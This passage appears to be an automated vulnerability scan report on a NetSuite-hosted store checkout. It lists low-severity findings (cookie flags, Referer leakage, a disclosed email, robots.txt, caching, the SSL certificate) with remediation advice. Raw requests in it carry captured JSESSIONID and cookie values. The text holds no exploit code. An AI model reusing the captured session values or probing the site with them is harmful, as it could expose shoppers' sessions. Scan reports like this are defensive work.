GET /s.nl?ext=T&c=663271&n=1&sc=4&ck=rcHW8-J5ARIkirWd&vid=rcHW8-J5AQwkinn3&cktime=96748&cart=4579&whence= HTTP/1.1 Host: checkout.netsuite.com Connection: keep-alive Referer: http://www.rapid7.com/store/nexpose/index.jsp?whence= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); NLVisitorId=rcHW8-J5AQwkinn3; bn_u=6923463569969678665; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214; NLShopperId=rcHW8-J5ARIkirWd
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /app/site/query/checkoutredirect.nl?c=663271&n=1&ext=T HTTP/1.1 Host: shopping.netsuite.com Proxy-Connection: keep-alive Referer: http://www.rapid7.com/store/nexpose/index.jsp?whence= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); NLVisitorId=rcHW8-J5AQwkinn3; bn_u=6923463569969678665; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214; JSESSIONID=zzcvND9bGkMlGL16VyMThBZy0p1TyXN6stRSsbV1YDWVGHCVPDJcwpdv0ZHg63r5SnzH4ms9hcyzTjKhnGQrdjWQN8DWLw5qF7fw1TtTz2w9ChvmLYB1h6vdy5y9Hjyk!1898792965; NS_VER=2010.2.0; NLShopperId=rcHW8-J5ARIkirWd
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /app/site/query/getitemsdescr.nl?c=663271&n=1&id=187 HTTP/1.1 Host: shopping.netsuite.com Proxy-Connection: keep-alive Referer: http://www.rapid7.com/store/nexpose/index.jsp User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); NLVisitorId=rcHW8-J5AQwkinn3; NLShopperId=rcHW8-J5ARIkirWd; bn_u=6923463569969678665; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214; JSESSIONID=zzcvND9bGkMlGL16VyMThBZy0p1TyXN6stRSsbV1YDWVGHCVPDJcwpdv0ZHg63r5SnzH4ms9hcyzTjKhnGQrdjWQN8DWLw5qF7fw1TtTz2w9ChvmLYB1h6vdy5y9Hjyk!1898792965
document.write('<h5>NEXPOSE EXPRESS</h5><p>NeXpose Express is a vulnerability assessment, policy compliance and remediation management solution designed for small to medium sized organizations with sc ...[SNIP]...
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /s.nl?c=663271&sc=3&n=1&ext=T HTTP/1.1 Host: shopping.netsuite.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); bn_u=6923463569969678665; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214; JSESSIONID=zzcvND9bGkMlGL16VyMThBZy0p1TyXN6stRSsbV1YDWVGHCVPDJcwpdv0ZHg63r5SnzH4ms9hcyzTjKhnGQrdjWQN8DWLw5qF7fw1TtTz2w9ChvmLYB1h6vdy5y9Hjyk!1898792965; NS_VER=2010.2.0; NLVisitorId=rcHW8-J5AQwkinn3; NLShopperId=rcHW8-J5ARIkirWd
The following email address was disclosed in the response:
d@df.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /s.nl?c=663271&n=1&sc=4&category=loginregister&it=A&login=T&newcust=T HTTP/1.1 Host: checkout.netsuite.com Connection: keep-alive Referer: https://checkout.netsuite.com/app/site/backend/docrossdomainredirect.nl?redirect=%2Fs.nl%3Fc%3D663271%26n%3D1%26sc%3D4%26category%3Dloginregister%26it%3DA%26login%3DT%26newcust%3DT&docookiecheck=T&whence= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); bn_u=6923463569969678665; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214; JSESSIONID=7LsfND9VBn9szTGJJrk3dM5pBMTh28L3jc2Fvvy9J0PMTVxmKnGBf14hxbJ771xZ9qvcB8WvH1VrDnQnZ563H13JsxrJpl8pv0p3QspLvvBsSFbQdDbLGTLRpLnvP6KS!-552694511; NLVisitorId=rcHW8-J5AQwkinn3; NLShopperId=rcHW8-J5ARIkirWd; NS_VER=2010.2.0
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.
Issue remediation
The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
document.write('<h5>NEXPOSE EXPRESS</h5><p>NeXpose Express is a vulnerability assessment, policy compliance and remediation management solution designed for small to medium sized organizations with sc ...[SNIP]...
The server presented a valid, trusted SSL certificate. This issue is purely informational.
The server presented the following certificates:
Server certificate
Issued to:
checkout.netsuite.com
Issued by:
VeriSign Class 3 Extended Validation SSL SGC CA
Valid from:
Wed Jul 08 19:00:00 CDT 2009
Valid to:
Sat Jul 09 18:59:59 CDT 2011
Certificate chain #1
Issued to:
VeriSign Class 3 Extended Validation SSL SGC CA
Issued by:
VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:
Tue Nov 07 18:00:00 CST 2006
Valid to:
Mon Nov 07 17:59:59 CST 2016
Certificate chain #2
Issued to:
VeriSign Class 3 Public Primary Certification Authority - G5
Issued by:
Class 3 Public Primary Certification Authority
Valid from:
Tue Nov 07 18:00:00 CST 2006
Valid to:
Sun Nov 07 17:59:59 CST 2021
Certificate chain #3
Issued to:
Class 3 Public Primary Certification Authority
Issued by:
Class 3 Public Primary Certification Authority
Valid from:
Sun Jan 28 18:00:00 CST 1996
Valid to:
Wed Aug 02 18:59:59 CDT 2028
Issue background
SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.
It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.Report generated by XSS.CX at Fri Mar 18 06:24:03 CDT 2011.